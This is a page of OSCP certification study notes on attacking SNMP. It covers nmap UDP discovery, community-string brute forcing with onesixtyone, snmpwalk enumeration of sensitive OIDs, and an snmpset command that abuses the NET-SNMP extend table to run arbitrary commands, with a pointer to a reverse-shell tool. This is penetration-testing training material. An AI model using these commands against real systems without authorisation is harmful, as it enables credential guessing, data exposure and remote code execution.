๐Ÿฒ
OSCP Notes
  • ๐ŸฒOSCP Notes
  • ๐ŸฒOSCP Methodology
  • ๐Ÿ’กMisc
    • Metasploit
    • Antivirus Evasion
    • Password attacks
    • Reverse Shells
    • Port Forwarding, Tunneling and Pivoting
      • Local Port Forwarding
      • Remote Port Forwarding
      • Dynamic Port Forwarding
      • Lingolo-ng
    • Information Gathering
      • Passive Reconnaissance
        • Whois
        • Google Dorks
        • NetCraft
        • Git Repository
      • Active Reconnaissance
        • DNS Enumeration
        • Host Discovery
        • Port scanning
        • SMTP - 25
        • SNMP
  • Linux
    • Local Enumeration
    • Local Privileges Escalation
      • Scheduled tasks
      • Password Authentication
      • Monitor Processes
      • SetUID Binaries and Capabilities
      • Sudoers
      • Kernel Exploits
  • Windows
    • ๐Ÿง Mindmap
    • ๐ŸฅMimikatz Basics
    • Enumeration
      • External Enumeration
      • Local Enumeration
      • Active Directory
        • PowerView
    • NTLM Hashes
    • Local Privilege Escalation
      • Service Binary Hijacking
      • Service DLL Hijacking
      • Unquoted Service Paths
      • Scheduled Tasks
      • Token impersonation
      • Backup Operators Group
    • Lateral Movement
      • WMI and WinRM
      • PsExec
      • Pass The Hash
      • Overpass The Hash
      • Pass The Ticket
      • DCOM
    • Persistence
      • Golden Ticket
      • Shadow Copy
    • Authentication Attacks
      • AS-REP Roasting
      • Kerberoasting
      • Password Spray
      • Silver Ticket
      • DC Sync
    • Client Side
    • NTLM Authentication
    • Kerberos Authentication
    • Cached Credentials
  • Web attacks
    • WordPress
    • SQL Injection (SQLi)
    • Command Injection
    • Directory Traversal
    • Local File Inclusion (LFI)
    • File Upload
Powered by GitBook
On this page
  • Enumerate exposed SNMP service:
  • Brute force the Community string
  • Enumerating
  • SNMP Extended
  • SNMP RCE
  • References
  1. Misc
  2. Information Gathering
  3. Active Reconnaissance

SNMP

Simple Network Management Protocol (SNMP) A widely used network monitoring and control protocol.

PreviousSMTP - 25NextLocal Enumeration

Last updated 5 months ago

The SNMP is based on UDP and stateless. moreover, the SNMP protocol version 1,2 and 2c has no traffic encryption which allows attackers to intercept sensitive information.

In addition, The old SNMP versions have weak authentication methods which are usually configured with the default public and private community strings.

In order to rederive information about the target, network administrators often rely on Management Information Bases (MIBs), which define the structure of the data that can be queried via SNMP. The Object Identifier (OID) is a key component of MIBs, allowing for the precise identification of specific variables and objects within the network.

Windows System Overview and Key Components OIDs:

OID
Dsecription

1.3.6.1.2.1.25.1.6.0

System Processes

1.3.6.1.2.1.25.4.2.1.2

Running Programs

1.3.6.1.2.1.25.4.2.1.4

Processes Path

1.3.6.1.2.1.25.2.3.1.4

Storage Units

1.3.6.1.2.1.25.6.3.1.2

Software Name

1.3.6.1.4.1.77.1.2.25

User Accounts

1.3.6.1.2.1.6.13.1.3

TCP Local Ports

Enumerate exposed SNMP service:

sudo nmap -sU -p 161,162,10161,10162 <target>

Brute force the Community string

onesixtyone -c <wordlist> -i <targetlist>

Useful wordlist:

Enumerating

Now, after we found that the SNMP's Community strings, its possible to enumerate senetivce information using snmpwalk:

snmpwalk -c <community_string> -v1 <target>
snmpwalk -c <community_string> -v1 <target> <OID>

-v: defines the snmp version.

-c: defines the community sting.

SNMP Extended

Get Extended attributes

snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull

SNMP RCE

Using private key with write permissions it is possible exploit the extended object table and run arbitrary commands on the target machine

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <private_community_string> <target> \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

The repo below leverage this to reverse shell using python script

References

๐Ÿ’ก
Definition of SNMPPCMAG
Logo
SecLists/common-snmp-community-strings.txt at master ยท danielmiessler/SecListsGitHub
community string wordlist
Logo
GitHub - mxrch/snmp-shell: Shell Simulation over Net-SNMP with extend functionalityGitHub
Logo